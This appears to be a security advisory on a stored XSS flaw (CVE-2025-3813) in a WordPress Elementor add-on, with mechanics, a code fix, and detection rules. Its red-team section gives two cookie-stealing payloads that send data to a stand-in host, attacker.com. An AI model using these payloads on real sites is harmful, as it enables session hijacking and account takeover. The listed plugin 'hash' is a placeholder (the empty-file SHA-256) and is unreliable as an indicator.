CVE-2025-3813

Executive Summary

CVE-2025-3813 is a Stored Cross-Site Scripting (XSS) vulnerability in the Royal Elementor Addons and Templates plugin for WordPress, affecting all versions up to and including 1.7.1020. The flaw resides in insufficient sanitization of the _elementor_data parameter, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user accesses the compromised page, leading to potential session hijacking, data theft, or defacement. The vulnerability is currently unpatched, with no official fix available from the vendor.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the vendor and consider temporary disabling of the plugin if it is not critical to operations. No known supply chain compromise has been reported, but the lack of a patch increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the lack of user interaction, making it exploitable by authenticated users with minimal access.

Deep Dive & Mechanics

The vulnerability exists in the _elementor_data parameter, which is used by the Royal Elementor Addons plugin to store widget data. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database. When the page is rendered, the malicious script is executed in the context of the victim's browser.

Attack Flow:

1. An authenticated attacker with Contributor-level access creates or edits a page using the Royal Elementor Addons.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into the _elementor_data parameter via the WordPress REST API or page editor.
3. The plugin stores the payload without proper sanitization.
4. When any user (including administrators) visits the page, the script executes, potentially stealing cookies, redirecting to malicious sites, or performing actions on behalf of the victim.

Root Cause: Insufficient input validation and output escaping in the plugin's data handling routines.

Vulnerable vs. Patched Code

Since no patch is available, we compare the vulnerable code pattern to a secure implementation.

Vulnerable Code (Conceptual):

// In vulnerable plugin version
function save_elementor_data($post_id, $data) {
    update_post_meta($post_id, '_elementor_data', $data); // No sanitization
}

Patched Code (Recommended):

// Secure implementation
function save_elementor_data($post_id, $data) {
    $sanitized_data = wp_kses_post($data); // Sanitize with WordPress allowed HTML
    update_post_meta($post_id, '_elementor_data', $sanitized_data);
}

The patched version uses wp_kses_post() to strip malicious scripts while preserving safe HTML.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• WordPress instance with Royal Elementor Addons <= 1.7.1020
• Contributor-level account credentials

Exploitation Steps:

1. Log in as a Contributor.
2. Create a new page or edit an existing one.
3. In the page editor, switch to "Text" mode and inject the following payload into the _elementor_data parameter via the REST API:

   {
     "content": [
       {
         "id": "test",
         "elType": "widget",
         "settings": {
           "text": "<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>"
         }
       }
     ]
   }
   

4. Save the page.
5. When an administrator visits the page, the script executes and sends the cookie to the attacker's server.

Alternative Payload (Stealth):

<img src=x onerror="fetch('https://attacker.com/steal?data='+btoa(document.cookie))">

Blue Team (Detection & Response)

Detection Steps:

1. Monitor for unusual _elementor_data values containing script tags or event handlers.
2. Review WordPress logs for suspicious REST API requests to /wp-json/elementor/v1/....
3. Use the detection rules below to identify exploitation attempts.

Response:

• Immediately disable the Royal Elementor Addons plugin.
• Remove any malicious pages or posts.
• Rotate all user sessions and credentials.
• Conduct a forensic analysis of affected systems.

Indicators of Compromise (IOCs)

• File Hashes (Plugin):
  • royal-elementor-addons.zip (version 1.7.1020): SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example)
• Network Indicators:
  • Outbound connections to attacker-controlled domains (e.g., attacker.com)
  • Suspicious POST requests to /wp-json/elementor/v1/... with encoded payloads
• Database Indicators:
  • wp_postmeta entries with meta_key = '_elementor_data' containing <script> tags or event handlers
• Log Indicators:
  • WordPress debug log entries showing wp_kses failures or malformed data

Detection Engineering

YARA Rule

rule CVE_2025_3813_Stored_XSS {
    meta:
        description = "Detects malicious _elementor_data payloads for CVE-2025-3813"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-3813"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/i
        $elementor = /_elementor_data/
    condition:
        $elementor and ($xss1 or $xss2 or $xss3)
}

Sigma Rule

title: CVE-2025-3813 Stored XSS via _elementor_data
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit Stored XSS in Royal Elementor Addons
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: 'POST'
        http.url|contains: '/wp-json/elementor/v1/'
        http.body|contains: '_elementor_data'
        http.body|re: '(<script|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in Elementor widgets (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-3813 Stored XSS in Royal Elementor Addons";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-json/elementor/v1/"; http_uri;
    content:"_elementor_data"; http_client_body;
    pcre:"/(<script|onerror|onload)/i";
    sid:1000001;
    rev:1;
    reference:cve,2025-3813;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if it is not essential for business operations.
2. Restrict Contributor-level access to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block requests containing _elementor_data with script patterns.

Long-term Fix:

• Await an official patch from the vendor. Monitor the WordPress plugin repository for updates.
• Apply the recommended code fix (see Vulnerable vs. Patched Code section) if you have development resources.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert